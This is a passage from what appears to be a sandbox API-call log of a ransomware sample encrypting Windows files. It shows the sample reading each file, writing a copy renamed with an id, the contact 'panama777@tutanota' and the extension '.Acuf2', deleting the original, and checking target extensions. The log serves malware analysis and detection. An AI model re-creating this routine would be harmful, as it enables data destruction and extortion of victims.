	[0050.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.600] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.600] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.600] GetLastError () returned 0x0
	[0050.600] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x6212, lpOverlapped=0x0) returned 1
	[0050.602] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x6220, lpOverlapped=0x0) returned 1
	[0050.603] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.603] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.603] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.603] CloseHandle (hObject=0x1a4) returned 1
	[0050.604] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.604] SetEndOfFile (hFile=0x178) returned 1
	[0050.604] CloseHandle (hObject=0x178) returned 1
	[0050.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.614] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1
	[0050.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.614] lstrlenW (lpString=".doc") returned 4
	[0050.614] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.614] lstrlenW (lpString=".docx") returned 5
	[0050.614] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.614] lstrlenW (lpString=".pdf") returned 4
	[0050.614] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.614] lstrlenW (lpString=".xls") returned 4
	[0050.614] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.614] lstrlenW (lpString=".xlsx") returned 5
	[0050.614] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.614] lstrlenW (lpString=".ppt") returned 4
	[0050.614] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.615] lstrlenW (lpString=".zip") returned 4
	[0050.615] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.615] lstrlenW (lpString=".rar") returned 4
	[0050.615] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.615] lstrlenW (lpString=".bz2") returned 4
	[0050.615] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.615] lstrlenW (lpString=".7z") returned 3
	[0050.615] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.615] lstrlenW (lpString=".dbf") returned 4
	[0050.615] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.615] lstrlenW (lpString=".1cd") returned 4
	[0050.615] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.615] lstrlenW (lpString=".jpg") returned 4
	[0050.615] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.615] lstrlenW (lpString=".doc") returned 4
	[0050.615] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.615] lstrlenW (lpString=".docx") returned 5
	[0050.615] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.615] lstrlenW (lpString=".pdf") returned 4
	[0050.615] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.615] lstrlenW (lpString=".xls") returned 4
	[0050.615] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.615] lstrlenW (lpString=".xlsx") returned 5
	[0050.615] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.616] lstrlenW (lpString=".ppt") returned 4
	[0050.616] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.616] lstrlenW (lpString=".zip") returned 4
	[0050.616] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.616] lstrlenW (lpString=".rar") returned 4
	[0050.616] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.616] lstrlenW (lpString=".bz2") returned 4
	[0050.616] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.616] lstrlenW (lpString=".7z") returned 3
	[0050.616] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.616] lstrlenW (lpString=".dbf") returned 4
	[0050.616] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.616] lstrlenW (lpString=".1cd") returned 4
	[0050.616] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0050.616] lstrlenW (lpString=".jpg") returned 4
	[0050.616] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.616] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.616] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.618] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1347) returned 1
	[0050.618] CloseHandle (hObject=0x178) returned 1
	[0050.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20
	[0050.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.618] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.618] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.620] GetLastError () returned 0x0
	[0050.620] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x543, lpOverlapped=0x0) returned 1
	[0050.621] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0050.622] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.622] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0050.622] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.623] CloseHandle (hObject=0x1a4) returned 1
	[0050.623] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.623] SetEndOfFile (hFile=0x178) returned 1
	[0050.624] CloseHandle (hObject=0x178) returned 1
	[0050.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.624] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1
	[0050.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.624] lstrlenW (lpString=".doc") returned 4
	[0050.624] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.624] lstrlenW (lpString=".docx") returned 5
	[0050.624] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.624] lstrlenW (lpString=".pdf") returned 4
	[0050.624] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.624] lstrlenW (lpString=".xls") returned 4
	[0050.624] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.624] lstrlenW (lpString=".xlsx") returned 5
	[0050.624] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.624] lstrlenW (lpString=".ppt") returned 4
	[0050.624] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.625] lstrlenW (lpString=".zip") returned 4
	[0050.625] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.625] lstrlenW (lpString=".rar") returned 4
	[0050.625] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.625] lstrlenW (lpString=".bz2") returned 4
	[0050.625] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.625] lstrlenW (lpString=".7z") returned 3
	[0050.625] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.625] lstrlenW (lpString=".dbf") returned 4
	[0050.625] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.625] lstrlenW (lpString=".1cd") returned 4
	[0050.625] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.625] lstrlenW (lpString=".jpg") returned 4
	[0050.625] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.625] lstrlenW (lpString=".doc") returned 4
	[0050.625] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0050.625] lstrlenW (lpString=".docx") returned 5
	[0050.625] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0050.625] lstrlenW (lpString=".pdf") returned 4
	[0050.625] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0050.625] lstrlenW (lpString=".xls") returned 4
	[0050.625] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0050.625] lstrlenW (lpString=".xlsx") returned 5
	[0050.625] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0050.625] lstrlenW (lpString=".ppt") returned 4
	[0050.626] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0050.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.626] lstrlenW (lpString=".zip") returned 4
	[0050.626] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0050.626] lstrlenW (lpString=".rar") returned 4
	[0050.626] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0050.626] lstrlenW (lpString=".bz2") returned 4
	[0050.626] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0050.626] lstrlenW (lpString=".7z") returned 3
	[0050.626] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0050.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.626] lstrlenW (lpString=".dbf") returned 4
	[0050.626] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0050.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.626] lstrlenW (lpString=".1cd") returned 4
	[0050.626] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0050.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75
	[0050.626] lstrlenW (lpString=".jpg") returned 4
	[0050.626] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0050.626] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0050.626] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0050.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.627] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=32403) returned 1
	[0050.627] CloseHandle (hObject=0x178) returned 1
	[0050.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20
	[0050.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.627] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.627] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.627] GetLastError () returned 0x0
	[0050.628] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x7e93, lpOverlapped=0x0) returned 1
	[0050.630] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x7ea0, lpOverlapped=0x0) returned 1
	[0050.631] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.631] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.632] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.632] CloseHandle (hObject=0x1a4) returned 1
	[0050.632] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.632] SetEndOfFile (hFile=0x178) returned 1
	[0050.633] CloseHandle (hObject=0x178) returned 1
	[0050.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.633] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1
	[0050.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.633] lstrlenW (lpString=".doc") returned 4
	[0050.633] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.634] lstrlenW (lpString=".docx") returned 5
	[0050.634] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.634] lstrlenW (lpString=".pdf") returned 4
	[0050.634] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.634] lstrlenW (lpString=".xls") returned 4
	[0050.634] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.634] lstrlenW (lpString=".xlsx") returned 5
	[0050.634] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.634] lstrlenW (lpString=".ppt") returned 4
	[0050.634] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.634] lstrlenW (lpString=".zip") returned 4
	[0050.634] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.634] lstrlenW (lpString=".rar") returned 4
	[0050.634] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.634] lstrlenW (lpString=".bz2") returned 4
	[0050.634] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.634] lstrlenW (lpString=".7z") returned 3
	[0050.634] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.634] lstrlenW (lpString=".dbf") returned 4
	[0050.634] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.634] lstrlenW (lpString=".1cd") returned 4
	[0050.634] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.634] lstrlenW (lpString=".jpg") returned 4
	[0050.634] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.635] lstrlenW (lpString=".doc") returned 4
	[0050.635] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.635] lstrlenW (lpString=".docx") returned 5
	[0050.635] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.635] lstrlenW (lpString=".pdf") returned 4
	[0050.635] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.635] lstrlenW (lpString=".xls") returned 4
	[0050.635] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.635] lstrlenW (lpString=".xlsx") returned 5
	[0050.635] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.635] lstrlenW (lpString=".ppt") returned 4
	[0050.635] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.635] lstrlenW (lpString=".zip") returned 4
	[0050.635] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.635] lstrlenW (lpString=".rar") returned 4
	[0050.635] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.635] lstrlenW (lpString=".bz2") returned 4
	[0050.635] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.635] lstrlenW (lpString=".7z") returned 3
	[0050.635] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.635] lstrlenW (lpString=".dbf") returned 4
	[0050.635] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.635] lstrlenW (lpString=".1cd") returned 4
	[0050.635] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76
	[0050.635] lstrlenW (lpString=".jpg") returned 4
	[0050.635] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.636] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.636] lstrlenW (lpString="PREVIEW.GIF") returned 11
